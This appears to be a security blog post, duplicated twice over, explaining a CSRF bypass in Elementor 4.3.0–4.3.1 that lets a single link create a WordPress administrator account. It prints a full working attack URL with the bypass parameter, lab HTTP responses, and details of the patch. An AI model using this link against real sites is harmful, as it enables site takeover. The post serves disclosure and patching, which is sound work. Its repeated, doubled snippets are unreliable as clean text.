October 10, 2026
How a hidden flaw let attackers take over WordPress admin accounts with a single link & what I…
You own a website. You built it carefully set a strong password, installed a security plugin. You think you’re safe. Then you open an email…
By 0xasmaa
5 min read
You own a website. You built it carefully set a strong password, installed a security plugin. You think you're safe. Then you open an email with a link inside nothing suspicious, just something interesting, you click it, nothing happens, and you move on with your day.
By evening, someone else has full administrator access to your site but they didn't crack your password or touch your hosting instead they just needed you to click that link while you were logged in.
This isn't a hypothetical. This is what was possible last month on over 10 million WordPress websites running Elementor 4.3.0 or 4.3.1. I reproduced it in my lab to understand exactly how it works.
What Elementor does and what went wrong
If you've built a WordPress site without writing code, you've probably used Elementor the drag-and-drop page builder that powers roughly 10 million websites like small businesses, clinics, online stores, the kind of sites owned by people who know their product but have never heard the word "nonce."
That word matters. Every time you do something important on your WordPress site: create a user, change a setting, update content, WordPress checks a nonce, a one-time token that proves you actually intended that action. A stranger on the internet can't fake it because they'd need to already be inside your session to know it and this protection is called CSRF protection, and it's the reason an attacker can't just send your browser a request and have WordPress execute it.
Elementor 4.3.0 and 4.3.1 accidentally disabled it for the entire WordPress REST API.
Here's how. Elementor added an internal analytics module in 4.3.0, and this module legitimately needed to skip the nonce check for its own background requests. So they added a rule: if the URL contains elementor/v1/events/, skip the nonce check that sounds reasonable except they were checking the raw URL, including the query string, which is the part after the ?. And the query string is written by whoever sends the request. Including the attacker.
The bypass that fits in a link
To create a new administrator account on a WordPress site you normally send a POST request to /wp-json/wp/v2/userswith a username, email, password, and role. Without a nonce, WordPress rejects it. With the Elementor bypass, you add one thing to the end of the URL:
&bypass=elementor/v1/events/&bypass=elementor/v1/events/Elementor sees the string somewhere in the URL and returns "authentication succeeded" before WordPress's nonce check even runs. WordPress also lets you override the HTTP method in a URL parameter add ?_method=POST and a GET request becomes a POST. A plain link that anyone can click.
So the full attack URL looks like this:
https://yoursite.com/wp-json/wp/v2/users
?_method=POST
&username=attacker
&email=attacker@evil.com
&password=TakeOver123!
&roles[]=administrator
&bypass=elementor/v1/events/https://yoursite.com/wp-json/wp/v2/users
?_method=POST
&username=attacker
&email=attacker@evil.com
&password=TakeOver123!
&roles[]=administrator
&bypass=elementor/v1/events/That URL, opened by a logged-in WordPress admin, creates a new administrator account without javaScript or special page just a link in an email.
What I found when I tested it
I set up WordPress with Elementor 4.3.1 locally and sent the crafted request through Burp Suite, using the admin's session cookie which is exactly what a victim's browser would send automatically when they click a link while logged in:
HTTP/1.1 201 Created
{
"username": "csrfadmin",
"roles": ["administrator"]
}HTTP/1.1 201 Created
{
"username": "csrfadmin",
"roles": ["administrator"]
}
New admin account, created in one request. Then I upgraded to 4.3.2 and sent the exact same request:
HTTP/1.1 401 Unauthorized
{"code": "rest_forbidden", "message": "Cookie nonce is invalid"}HTTP/1.1 401 Unauthorized
{"code": "rest_forbidden", "message": "Cookie nonce is invalid"}The nonce check ran this time. Blocked.
One more thing worth knowing: this bypass didn't just skip WordPress's own CSRF protection. It skipped every security plugin hooking into the same WordPress filter. When Elementor returned "authentication succeeded" at priority 0, it silenced every handler downstream, including Wordfence and anything else you had installed. They weren't vulnerable they just never got a turn.
What changed in the patch
Elementor 4.3.2 changed two things. First, instead of checking $_SERVER['REQUEST_URI'] the raw URL including the query string, the fix reads $wp->query_vars['rest_route'], which is the route WordPress actually resolved after processing the request, with no attacker-controlled text in it. Second, the check was changed from an unanchored substring search to one that requires the namespace to appear at the start of the route, which closes a secondary bypass the original fix would have missed.
How a hidden bug in Elementor let attackers take over 10 million WordPress sites & and what I found when I reproduced it.
You own a website that built it carefully, set a strong password, installed a security plugin. You think you're safe. Then you open an email with a link inside nothing suspicious, just something interesting, you click it, nothing happens, and you move on with your day.
By evening, someone else has full administrator access to your site but they didn't crack your password or touch your hosting instead they just needed you to click that link while you were logged in.
This isn't a hypothetical. This is what was possible last month on over 10 million WordPress websites running Elementor 4.3.0 or 4.3.1. I reproduced it in my lab to understand exactly how it works.
What Elementor does and what went wrong
If you've built a WordPress site without writing code, you've probably used Elementor the drag-and-drop page builder that powers roughly 10 million websites like small businesses, clinics, online stores, the kind of sites owned by people who know their product but have never heard the word "nonce."
That word matters. Every time you do something important on your WordPress site: create a user, change a setting, update content, WordPress checks a nonce, a one-time token that proves you actually intended that action. A stranger on the internet can't fake it because they'd need to already be inside your session to know it and this protection is called CSRF protection, and it's the reason an attacker can't just send your browser a request and have WordPress execute it.
Elementor 4.3.0 and 4.3.1 accidentally disabled it for the entire WordPress REST API.
Here's how. Elementor added an internal analytics module in 4.3.0, and this module legitimately needed to skip the nonce check for its own background requests. So they added a rule: if the URL contains elementor/v1/events/, skip the nonce check that sounds reasonable except they were checking the raw URL, including the query string, which is the part after the ?. And the query string is written by whoever sends the request. Including the attacker.
The bypass that fits in a link
To create a new administrator account on a WordPress site you normally send a POST request to /wp-json/wp/v2/userswith a username, email, password, and role. Without a nonce, WordPress rejects it. With the Elementor bypass, you add one thing to the end of the URL:
&bypass=elementor/v1/events/&bypass=elementor/v1/events/Elementor sees the string somewhere in the URL and returns "authentication succeeded" before WordPress's nonce check even runs. WordPress also lets you override the HTTP method in a URL parameter add ?_method=POST and a GET request becomes a POST. A plain link that anyone can click.
So the full attack URL looks like this:
https://yoursite.com/wp-json/wp/v2/users
?_method=POST
&username=attacker
&email=attacker@evil.com
&password=TakeOver123!
&roles[]=administrator
&bypass=elementor/v1/events/https://yoursite.com/wp-json/wp/v2/users
?_method=POST
&username=attacker
&email=attacker@evil.com
&password=TakeOver123!
&roles[]=administrator
&bypass=elementor/v1/events/That URL, opened by a logged-in WordPress admin, creates a new administrator account without JavaScript or special page just a link in an email.
What I found when I tested it
I set up WordPress with Elementor 4.3.1 locally and sent the crafted request through Burp Suite, using the admin's session cookie which is exactly what a victim's browser would send automatically when they click a link while logged in:
HTTP/1.1 201 Created
{
"username": "csrfadmin",
"roles": ["administrator"]
}HTTP/1.1 201 Created
{
"username": "csrfadmin",
"roles": ["administrator"]
}
New admin account, created in one request. Then I upgraded to 4.3.2 and sent the exact same request:
HTTP/1.1 401 Unauthorized
{"code": "rest_forbidden", "message": "Cookie nonce is invalid"}HTTP/1.1 401 Unauthorized
{"code": "rest_forbidden", "message": "Cookie nonce is invalid"}The nonce check ran this time. Blocked.
One more thing worth knowing: this bypass didn't just skip WordPress's own CSRF protection. It skipped every security plugin hooking into the same WordPress filter. When Elementor returned "authentication succeeded" at priority 0, it silenced every handler downstream, including Wordfence and anything else you had installed. They weren't vulnerable they just never got a turn.
What changed in the patch
Elementor 4.3.2 changed two things. First, instead of checking $_SERVER['REQUEST_URI'] the raw URL including the query string, the fix reads $wp->query_vars['rest_route'], which is the route WordPress actually resolved after processing the request, with no attacker-controlled text in it. Second, the check was changed from an unanchored substring search to one that requires the namespace to appear at the start of the route, which closes a secondary bypass the original fix would have missed.
If you're running Elementor, go check your version right now.